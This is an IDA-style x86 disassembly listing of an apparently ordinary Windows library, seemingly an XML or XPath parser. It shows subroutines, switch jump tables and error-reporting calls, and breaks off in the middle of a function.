cmp eax, 13h ; switch 20 cases
ja short loc_69B62381 ; default
; jumptable 69B6231D cases 12-16
movzx eax, ds:byte_69B623D6[eax]
jmp ds:off_69B623A2[eax*4] ; switch jump
loc_69B62324: ; DATA XREF: .text:off_69B623A2o
push 5 ; jumptable 69B6231D cases 10,19
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B62328: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 3 ; jumptable 69B6231D cases 8,18
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B6232C: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 6 ; jumptable 69B6231D cases 7,17
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B62330: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 0Ah ; jumptable 69B6231D case 5
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B62334: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 0Dh ; jumptable 69B6231D case 4
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B62338: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 9 ; jumptable 69B6231D case 3
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B6233C: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 0Bh ; jumptable 69B6231D case 2
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B62340: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 0Ch ; jumptable 69B6231D case 0
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B62344: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 0Eh ; jumptable 69B6231D case 1
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B62348: ; CODE XREF: sub_69B6229B+71j
; sub_69B6229B+82j
; DATA XREF: ...
xor edi, edi ; jumptable 69B6231D case 9
inc edi
jmp short loc_69B6235C
; ---------------------------------------------------------------------------
loc_69B6234D: ; CODE XREF: sub_69B6229B+6Fj
sub eax, 3Dh
jz short loc_69B62359 ; jumptable 69B6231D case 11
dec eax
jnz short loc_69B62381 ; default
; jumptable 69B6231D cases 12-16
loc_69B62355: ; CODE XREF: sub_69B6229B+82j
; DATA XREF: .text:off_69B623A2o
push 4 ; jumptable 69B6231D case 6
jmp short loc_69B6235B
; ---------------------------------------------------------------------------
loc_69B62359: ; CODE XREF: sub_69B6229B+82j
; sub_69B6229B+B5j
; DATA XREF: ...
push 2 ; jumptable 69B6231D case 11
loc_69B6235B: ; CODE XREF: sub_69B6229B+8Bj
; sub_69B6229B+8Fj ...
pop edi
loc_69B6235C: ; CODE XREF: sub_69B6229B+B0j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push 0
mov ecx, esi
call sub_69B62D8D
push eax
push ebp
push edi
call sub_69B69E36
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov ebp, ecx
loc_69B62381: ; CODE XREF: sub_69B6229B+79j
; sub_69B6229B+82j ...
test bl, bl ; default
; jumptable 69B6231D cases 12-16
jz short loc_69B62398
push ebp
call sub_69B6776D
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov ebp, ecx
loc_69B62398: ; CODE XREF: sub_69B6229B+E8j
dec dword ptr [esi+48h]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
retn
sub_69B6229B endp
; ---------------------------------------------------------------------------
off_69B623A2 dd offset loc_69B62340 ; DATA XREF: sub_69B6229B+82r
dd offset loc_69B62344 ; jump table for switch statement
dd offset loc_69B6233C
dd offset loc_69B62338
dd offset loc_69B62334
dd offset loc_69B62330
dd offset loc_69B62355
dd offset loc_69B6232C
dd offset loc_69B62328
dd offset loc_69B62348
dd offset loc_69B62324
dd offset loc_69B62359
dd offset loc_69B62381
byte_69B623D6 db 0, 1, 2, 3 ; DATA XREF: sub_69B6229B+7Br
db 4, 5, 6, 7 ; indirect table for switch statement
db 8, 9, 0Ah, 0Bh
db 0Ch, 0Ch, 0Ch, 0Ch
db 0Ch, 7, 8, 0Ah
; =============== S U B R O U T I N E =======================================
sub_69B623EA proc near ; CODE XREF: sub_69B62690+40p
; sub_69B63B61+4Cp
xor eax, eax
cmp dword ptr [ecx+20h], 0FFFFFFFCh
jnz short locret_69B6240A
cmp [ecx+2Ch], eax
jnz short locret_69B6240A
mov edx, [ecx+30h]
cmp edx, dword_69B9B278
jnz short locret_69B6240A
cmp word ptr [ecx+0Eh], 28h
jnz short locret_69B6240A
inc eax
locret_69B6240A: ; CODE XREF: sub_69B623EA+6j
; sub_69B623EA+Bj ...
retn
sub_69B623EA endp
; =============== S U B R O U T I N E =======================================
sub_69B6240B proc near ; CODE XREF: sub_69B5F12B+98p
; sub_69B6296C+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
mov eax, [esi+18h]
sub eax, ecx
push 0
dec eax
push 0
dec eax
push ecx
sar eax, 1
push eax
push ecx
call sub_69B190C1
push eax
push 0C00CE387h
mov ecx, esi
call sub_69B61C54
pop esi
retn 4
sub_69B6240B endp
; =============== S U B R O U T I N E =======================================
sub_69B62438 proc near ; CODE XREF: sub_69B5EB78+15p
; sub_69B629F7+Fp ...
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
push dword ptr [esi+20h]
call sub_69B61B61
xor edi, edi
cmp [esp+8+arg_0], edi
push edi
push eax
jz short loc_69B62461
push [esp+10h+arg_0]
push 0C00CE380h
call sub_69B2F944
add esp, 10h
jmp short loc_69B6246E
; ---------------------------------------------------------------------------
loc_69B62461: ; CODE XREF: sub_69B62438+14j
push 0C00CE381h
call sub_69B2F944
add esp, 0Ch
loc_69B6246E: ; CODE XREF: sub_69B62438+27j
push edi
push edi
push dword ptr [esi+1Ch]
mov ecx, esi
push eax
call sub_69B61BB4
push eax
mov ecx, esi
call sub_69B61B50
pop edi
pop esi
retn 4
sub_69B62438 endp
; =============== S U B R O U T I N E =======================================
sub_69B62488 proc near ; CODE XREF: sub_69B5EC3F+4Ap
; sub_69B5EC3F+6Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
push [esp+4+arg_8]
push [esp+8+arg_4]
push 0
push [esp+10h+arg_0]
call sub_69B61C54
retn 10h
sub_69B62488 endp
; =============== S U B R O U T I N E =======================================
sub_69B624A2 proc near ; DATA XREF: .text:69B294F8o
push 2Ch
push offset dword_69B625B0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B624C7
mov eax, 80004005h
jmp loc_69B62599
; ---------------------------------------------------------------------------
loc_69B624C7: ; CODE XREF: sub_69B624A2+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov dword ptr [ebp-2Ch], offset off_69B625A4
mov esi, [ebp+14h]
mov [esi], edi
mov [ebp-4], edi
mov [ebp-30h], edi
cmp [ebp+10h], edi
jz short loc_69B6251F
push dword ptr [ebp+10h]
call sub_69B47D5E
mov [ebp-34h], eax
cmp eax, edi
jnz short loc_69B624FF
mov dword ptr [ebp-38h], 80004005h
jmp short loc_69B6254B
; ---------------------------------------------------------------------------
loc_69B624FF: ; CODE XREF: sub_69B624A2+52j
push edi
call sub_69B1A6EC
mov [ebp-30h], eax
push eax
mov ebx, [ebp+8]
lea ecx, [ebx+2Ch]
call sub_69B199CC
push dword ptr [ebp-34h]
lea ecx, [ebx-8]
call sub_69B62255
loc_69B6251F: ; CODE XREF: sub_69B624A2+43j
mov ecx, [ebp+8]
add ecx, 0FFFFFFF8h
mov eax, [ecx]
lea edx, [ebp-2Ch]
push edx
push 4
push dword ptr [ebp-30h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+38h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+44h]
mov [ebp-3Ch], eax
push eax
call sub_69B6A147
mov [esi], eax
mov [ebp-38h], edi
loc_69B6254B: ; CODE XREF: sub_69B624A2+5Bj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B62578
; ---------------------------------------------------------------------------
loc_69B62551: ; DATA XREF: .text:69B625B4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6255A: ; DATA XREF: .text:69B625B8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-38h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor edi, edi
loc_69B62578: ; CODE XREF: sub_69B624A2+ADj
push edi
mov eax, [ebp+8]
add eax, 2Ch
push eax
call sub_69B17320
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B62599: ; CODE XREF: sub_69B624A2+20j
call sub_69B1853C
retn 10h
sub_69B624A2 endp
; ---------------------------------------------------------------------------
align 4
off_69B625A4 dd offset sub_69B62A0F ; DATA XREF: sub_69B624A2+2Eo
dd offset sub_69B6223C
align 10h
dword_69B625B0 dd 0FFFFFFFFh dd offset loc_69B62551
dd offset loc_69B6255A
; =============== S U B R O U T I N E =======================================
sub_69B625BC proc near ; CODE XREF: sub_69B5FB10-A20p
push esi
mov esi, ecx
call sub_69B19118
xor eax, eax
mov dword ptr [esi], offset off_69B12B30
mov dword ptr [esi+8], offset off_69B294EC
mov [esi+24h], eax
mov [esi+28h], eax
mov [esi+2Ch], eax
mov [esi+30h], eax
push eax
mov ecx, esi
mov [esi+34h], eax
call sub_69B6227E
mov eax, esi
pop esi
retn
sub_69B625BC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B62A56
loc_69B625EE: ; CODE XREF: sub_69B62A56+Dj
push esi
mov esi, ecx
call sub_69B19118
push [esp+4+arg_0]
xor eax, eax
mov dword ptr [esi], offset off_69B12B30
mov dword ptr [esi+8], offset off_69B294EC
mov [esi+24h], eax
mov [esi+28h], eax
mov [esi+2Ch], eax
mov [esi+30h], eax
mov ecx, esi
mov [esi+34h], eax
call sub_69B6227E
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B62A56
; =============== S U B R O U T I N E =======================================
sub_69B62625 proc near ; DATA XREF: .text:69B12B64o
push 0
add ecx, 34h
push ecx
call sub_69B17320
retn
sub_69B62625 endp
; =============== S U B R O U T I N E =======================================
sub_69B62631 proc near ; CODE XREF: sub_69B62631+3Ep
; sub_69B62D2E+Bp
push esi
push edi
mov esi, ecx
call sub_69B5EA61
mov ecx, esi
call sub_69B6229B
mov edi, eax
mov eax, [esi+20h]
cmp eax, 0FFFFFFF6h
jz short loc_69B62666
cmp eax, 0FFFFFFC1h
jz short loc_69B62666
cmp eax, 0FFFFFFFCh
jnz short loc_69B62688
cmp dword ptr [esi+2Ch], 0
jnz short loc_69B62688
mov eax, [esi+30h]
cmp eax, dword_69B9B2C8
jnz short loc_69B62688
loc_69B62666: ; CODE XREF: sub_69B62631+18j
; sub_69B62631+1Dj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov ecx, esi
call sub_69B62631
push eax
push edi
call sub_69B69F0C
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov edi, ecx
loc_69B62688: ; CODE XREF: sub_69B62631+22j
; sub_69B62631+28j ...
dec dword ptr [esi+48h]
mov eax, edi
pop edi
pop esi
retn
sub_69B62631 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B62690 proc near ; CODE XREF: sub_69B5F498+1C2p
; sub_69B6349E+2BDp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
and [ebp+var_8], 0
push ebx
push esi
mov esi, ecx
mov eax, [esi+28h]
mov ebx, [esi+1Ch]
push edi
mov edi, [esi+30h]
mov [ebp+var_14], eax
mov eax, [esi+2Ch]
mov [ebp+var_10], eax
mov [ebp+var_C], edi
mov byte ptr [ebp+var_4], 0
call sub_69B60C68
cmp word ptr [esi+0Eh], 28h
jnz short loc_69B62707
cmp [ebp+arg_8], 0
mov byte ptr [ebp+var_4], 1
jz short loc_69B626DD
mov ecx, esi
call sub_69B623EA
test al, al
jz short loc_69B626DD
xor eax, eax
jmp short loc_69B62747
; ---------------------------------------------------------------------------
loc_69B626DD: ; CODE XREF: sub_69B62690+3Cj
; sub_69B62690+47j
mov ecx, esi
call sub_69B5EA78
mov eax, [esi+20h]
cmp eax, 0FFFFFFFCh
jnz short loc_69B626FB
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov ecx, esi
call sub_69B61C88
loc_69B626FB: ; CODE XREF: sub_69B62690+5Aj
push eax
mov ecx, esi
call sub_69B6139C
mov edi, eax
jmp short loc_69B6270C
; ---------------------------------------------------------------------------
loc_69B62707: ; CODE XREF: sub_69B62690+32j
mov edi, offset dword_69B62750
loc_69B6270C: ; CODE XREF: sub_69B62690+75j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
xor eax, eax
cmp edi, eax
jz short loc_69B62734
push [ebp+arg_C]
lea eax, [ebp+var_14]
push [ebp+arg_4]
push [ebp+arg_0]
push [ebp+var_4]
push eax
push ebx
push esi
push edi
call dword ptr [edi+2Ch]
mov [ebp+var_8], eax
jmp short loc_69B62744
; ---------------------------------------------------------------------------
loc_69B62734: ; CODE XREF: sub_69B62690+87j
push eax
push eax
push ebx
push eax
push 0C00CE385h
mov ecx, esi
call sub_69B61C54
loc_69B62744: ; CODE XREF: sub_69B62690+A2j
mov eax, [ebp+var_8]
loc_69B62747: ; CODE XREF: sub_69B62690+4Bj
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B62690 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B62750 dd 0FFFFFFE2h, 1, 1002h, 8 dup(0) dd offset sub_69B63114
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B62780 proc near ; CODE XREF: sub_69B5F881+97p
; sub_69B63788+E5p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov bx, [esi+0Eh]
push edi
call sub_69B88D77
push dwTlsIndex
mov [ebp+var_4], eax
call dword_69B92970
mov eax, [eax+1Ch]
mov ecx, esi
mov [ebp+var_8], eax
call sub_69B5EA78
xor edi, edi
jmp short loc_69B627EA
; ---------------------------------------------------------------------------
loc_69B627B3: ; CODE XREF: sub_69B62780+6Ej
mov ax, [esi+0Eh]
cmp ax, bx
jz short loc_69B627F0
cmp [ebp+var_8], 2
jnz short loc_69B627DA
cmp ax, 5Ch
jnz short loc_69B627DA
mov ecx, esi
call sub_69B5EA78
xor eax, eax
mov ax, [esi+0Eh]
cmp ax, di
jz short loc_69B627F0
loc_69B627DA: ; CODE XREF: sub_69B62780+40j
; sub_69B62780+46j
mov ecx, [ebp+var_4]
push eax
call sub_69B88E7C
mov ecx, esi
call sub_69B5EA78
loc_69B627EA: ; CODE XREF: sub_69B62780+31j
cmp [esi+0Eh], di
jnz short loc_69B627B3
loc_69B627F0: ; CODE XREF: sub_69B62780+3Aj
; sub_69B62780+58j
cmp [esi+0Eh], di
jnz short loc_69B62808
push edi
push edi
push dword ptr [esi+1Ch]
mov ecx, esi
push edi
push 0C00CE560h
call sub_69B61C54
loc_69B62808: ; CODE XREF: sub_69B62780+74j
mov ecx, esi
call sub_69B5EA78
mov ecx, [ebp+var_4]
mov dword ptr [esi+20h], 0FFFFFFFBh
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
add esi, 24h
push esi
call sub_69B17320
pop edi
pop esi
pop ebx
leave
retn
sub_69B62780 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6282D proc near ; CODE XREF: sub_69B5F881+1F1p
; sub_69B62A6D+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
xor esi, esi
push edi
mov [ebp+var_4], esi
call sub_69B31F54
cmp [ebp+arg_4], esi
mov ebx, eax
jz short loc_69B62891
sub eax, edi
sar eax, 1
cmp eax, [ebp+arg_4]
jz short loc_69B62891
cmp word ptr [ebx], 3Ah
jnz short loc_69B6285E
inc ebx
inc ebx
loc_69B6285E: ; CODE XREF: sub_69B6282D+2Dj
mov ecx, [ebp+arg_10]
cmp ecx, esi
jz short loc_69B62877
push edi
lea eax, [ebx+2]
push eax
push ebx
push 0C00CE505h
call sub_69B62488
jmp short loc_69B62891
; ---------------------------------------------------------------------------
loc_69B62877: ; CODE XREF: sub_69B6282D+36j
push 80004005h
push esi
push esi
push 0C00CE505h
call sub_69B2F944
add esp, 0Ch
push eax
call sub_69B2E8A2
loc_69B62891: ; CODE XREF: sub_69B6282D+1Ej
; sub_69B6282D+27j ...
cmp word ptr [ebx], 3Ah
jnz short loc_69B628AC
cmp word ptr [ebx+2], 2Ah
jnz short loc_69B628AC
mov eax, ebx
sub eax, edi
sar eax, 1
mov [ebp+var_4], eax
add ebx, 4
jmp short loc_69B628AF
; ---------------------------------------------------------------------------
loc_69B628AC: ; CODE XREF: sub_69B6282D+68j
; sub_69B6282D+6Fj
mov eax, [ebp+var_4]
loc_69B628AF: ; CODE XREF: sub_69B6282D+7Dj
cmp eax, esi
mov esi, [ebp+arg_8]
jbe short loc_69B628C9
push eax
push edi
call sub_69B2FAC8
mov [esi+4], eax
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
jmp short loc_69B628CD
; ---------------------------------------------------------------------------
loc_69B628C9: ; CODE XREF: sub_69B6282D+87j
and dword ptr [esi+4], 0
loc_69B628CD: ; CODE XREF: sub_69B6282D+9Aj
lea ecx, [edi+eax*2]
cmp word ptr [ecx], 2Ah
jz short loc_69B628EA
mov edx, ebx
sub edx, edi
sar edx, 1
sub edx, eax
push edx
push ecx
call sub_69B2FAC8
mov [esi+8], eax
jmp short loc_69B628EE
; ---------------------------------------------------------------------------
loc_69B628EA: ; CODE XREF: sub_69B6282D+A7j
and dword ptr [esi+8], 0
loc_69B628EE: ; CODE XREF: sub_69B6282D+BBj
push dwTlsIndex
call dword_69B92970
cmp dword ptr [eax+1Ch], 1
setz byte ptr [ebp+arg_4+3]
xor edi, edi
cmp [esi+4], edi
jnz short loc_69B6291F
mov eax, [esi+8]
cmp dword_69B95A6C, eax
jnz short loc_69B6291F
mov [esi+4], eax
mov eax, dword_69B95A18
mov [esi+8], eax
loc_69B6291F: ; CODE XREF: sub_69B6282D+DAj
; sub_69B6282D+E5j
mov eax, [esi+4]
cmp eax, edi
jz short loc_69B62961
mov ecx, [ebp+arg_C]
cmp ecx, edi
jz short loc_69B62937
push edi
push edi
push eax
call sub_69B4D2DF
jmp short loc_69B6293D
; ---------------------------------------------------------------------------
loc_69B62937: ; CODE XREF: sub_69B6282D+FEj
push eax
call sub_69B4D2B6
loc_69B6293D: ; CODE XREF: sub_69B6282D+108j
mov edi, eax
test edi, edi
jnz short loc_69B62961
cmp byte ptr [ebp+arg_4+3], al
jz short loc_69B62961
mov ecx, [esi+4]
push eax
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE01Dh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B62961: ; CODE XREF: sub_69B6282D+F7j
; sub_69B6282D+114j ...
mov [esi], edi
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn 14h
sub_69B6282D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6296C proc near ; CODE XREF: sub_69B5F12B+EBp
; sub_69B60160+8Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
mov edi, ecx
jz short loc_69B62989
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov [ebp+arg_0], eax
jmp short loc_69B6298C
; ---------------------------------------------------------------------------
loc_69B62989: ; CODE XREF: sub_69B6296C+Fj
mov [ebp+arg_0], ebx
loc_69B6298C: ; CODE XREF: sub_69B6296C+1Bj
cmp [ebp+arg_0], ebx
jnz short loc_69B629A3
push ebx
push ebx
push [ebp+arg_4]
mov ecx, edi
push ebx
push 0C00CE382h
call sub_69B61C54
loc_69B629A3: ; CODE XREF: sub_69B6296C+23j
cmp [ebp+arg_8], ebx
jz short loc_69B629ED
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+4Ch]
test al, 8
jnz short loc_69B629B8
or eax, 80h
loc_69B629B8: ; CODE XREF: sub_69B6296C+45j
mov ecx, eax
and ecx, [ebp+arg_8]
test cl, 82h
jz short loc_69B629CC
test byte ptr [ebp+arg_8], 4
jz short loc_69B629ED
test al, 4
jnz short loc_69B629ED
loc_69B629CC: ; CODE XREF: sub_69B6296C+54j
cmp [ebp+arg_C], bl
jz short loc_69B629E3
push ebx
push ebx
push [ebp+arg_4]
mov ecx, edi
push ebx
push 0C00CE60Eh
call sub_69B61C54
loc_69B629E3: ; CODE XREF: sub_69B6296C+63j
push [ebp+arg_4]
mov ecx, edi
call sub_69B6240B
loc_69B629ED: ; CODE XREF: sub_69B6296C+3Aj
; sub_69B6296C+5Aj ...
mov eax, [ebp+arg_0]
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B6296C endp
; =============== S U B R O U T I N E =======================================
sub_69B629F7 proc near ; CODE XREF: sub_69B5F12B+D0p
; sub_69B62E54+54p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B61B61
push eax
mov ecx, esi
call sub_69B62438
pop esi
retn 4
sub_69B629F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B62A0F proc near ; DATA XREF: .text:off_69B625A4o
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_69B62A37
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
push 0
and ecx, eax
push ecx
call sub_69B6B06D
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B62A0F endp
; =============== S U B R O U T I N E =======================================
sub_69B62A37 proc near ; CODE XREF: sub_69B62A0F+4p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B153C0 SIZE 00000036 BYTES
push 10h
call sub_69B17EF3
test eax, eax
jz short loc_69B62A49
mov ecx, eax
jmp loc_69B153C0
; ---------------------------------------------------------------------------
loc_69B62A49: ; CODE XREF: sub_69B62A37+9j
xor eax, eax
retn 4
sub_69B62A37 endp
; =============== S U B R O U T I N E =======================================
sub_69B62A4E proc near ; DATA XREF: .text:69B1542Co
; .text:69B16654o ...
sub ecx, 8
jmp loc_69B7629F
sub_69B62A4E endp
; =============== S U B R O U T I N E =======================================
sub_69B62A56 proc near ; CODE XREF: sub_69B3D17C:loc_69B3D18Ep
; sub_69B6F483+56p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B625EE SIZE 00000037 BYTES
push 50h
call sub_69B17EF3
test eax, eax
jz short loc_69B62A68
mov ecx, eax
jmp loc_69B625EE
; ---------------------------------------------------------------------------
loc_69B62A68: ; CODE XREF: sub_69B62A56+9j
xor eax, eax
retn 4
sub_69B62A56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B62A6D proc near ; DATA XREF: .text:69B6193Co
; .text:69B6196Co
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp dword ptr [esi+20h], 0FFFFFFFBh
push edi
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
jnz short loc_69B62ADE
mov eax, [esi+24h]
mov edi, [eax+0Ch]
mov eax, [esi+34h]
push esi
push eax
lea eax, [ebp+var_14]
push eax
push ebx
push edi
call sub_69B6282D
cmp eax, edi
jz short loc_69B62AAD
mov ecx, [esi+24h]
sub eax, edi
sar eax, 1
cmp eax, [ecx+8]
jz short loc_69B62ABF
loc_69B62AAD: ; CODE XREF: sub_69B62A6D+32j
push ebx
push ebx
push [ebp+arg_8]
mov ecx, esi
push ebx
push 0C00CE608h
call sub_69B61C54
loc_69B62ABF: ; CODE XREF: sub_69B62A6D+3Ej
cmp [ebp+var_14], ebx
jz short loc_69B62ADE
push [ebp+var_14]
push [ebp+var_C]
call sub_69B192E9
mov [ebp+var_4], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp [ebp+var_4], ebx
jnz short loc_69B62B04
loc_69B62ADE: ; CODE XREF: sub_69B62A6D+18j
; sub_69B62A6D+55j
push [ebp+arg_1C]
mov eax, [esi]
push [ebp+arg_14]
mov ecx, esi
call dword ptr [eax+40h]
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_69B62B04
push ebx
push ebx
push [ebp+arg_8]
mov ecx, esi
push ebx
push 0C00CE606h
call sub_69B61C54
loc_69B62B04: ; CODE XREF: sub_69B62A6D+6Fj
; sub_69B62A6D+83j
push 29h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push ebx
push 3
call sub_69B8A458
mov ecx, [esi+34h]
mov edi, eax
xor eax, eax
cmp ecx, ebx
jz short loc_69B62B2C
mov eax, [ecx]
call dword ptr [eax+28h]
loc_69B62B2C: ; CODE XREF: sub_69B62A6D+B8j
push eax
mov ecx, edi
call sub_69B8A35C
push [ebp+var_8]
mov ecx, edi
call sub_69B8A35C
push [ebp+var_4]
mov ecx, edi
call sub_69B8A35C
mov eax, [ebp+arg_0]
push dword ptr [eax+28h]
push edi
call sub_69B67706
lea ecx, [eax+8]
neg eax
pop edi
sbb eax, eax
pop esi
and eax, ecx
pop ebx
leave
retn 20h
sub_69B62A6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B62B64 proc near ; DATA XREF: .text:69B6199Co
; .text:69B619CCo ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov ebx, [edi+4]
push 0
push ebx
call sub_69B8A458
and [ebp+arg_0], 0
mov esi, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [edi+8]
test byte ptr [eax+1], 10h
jz short loc_69B62B92
cmp dword ptr [esi+20h], 29h
jz short loc_69B62BDD
loc_69B62B92: ; CODE XREF: sub_69B62B64+26j
mov [ebp+arg_4], eax
loc_69B62B95: ; CODE XREF: sub_69B62B64+77j
cmp [ebp+arg_0], ebx
jge short loc_69B62BDD
push [ebp+arg_1C]
mov eax, [esi]
push [ebp+arg_14]
mov ecx, esi
call dword ptr [eax+40h]
mov ecx, [ebp+var_4]
push eax
call sub_69B8A35C
inc [ebp+arg_0]
add [ebp+arg_4], 4
cmp [ebp+arg_0], ebx
jz short loc_69B62BDD
mov eax, [ebp+arg_4]
test byte ptr [eax+1], 10h
jz short loc_69B62BCB
cmp dword ptr [esi+20h], 29h
jz short loc_69B62BDD
loc_69B62BCB: ; CODE XREF: sub_69B62B64+5Fj
push 2Ch
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
jmp short loc_69B62B95
; ---------------------------------------------------------------------------
loc_69B62BDD: ; CODE XREF: sub_69B62B64+2Cj
; sub_69B62B64+34j ...
push 29h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push dword ptr [edi+28h]
push [ebp+var_4]
call sub_69B67706
lea ecx, [eax+8]
neg eax
pop edi
sbb eax, eax
pop esi
and eax, ecx
pop ebx
leave
retn 20h
sub_69B62B64 endp
; ---------------------------------------------------------------------------
loc_69B62C08: ; DATA XREF: .text:69B6142Co
push esi
mov esi, [esp+0Ch]
push edi
xor eax, eax
mov al, [esi+0Ch]
push 1
push eax
push 1
xor eax, eax
push eax
push eax
push eax
push eax
push dword ptr [esp+3Ch]
call sub_69B685B5
push 29h
mov ecx, esi
mov edi, eax
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, edi
add edi, 8
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
retn 20h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B62C49 proc near ; DATA XREF: .text:69B6145Co
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov eax, [edi]
xor ebx, ebx
push ebx
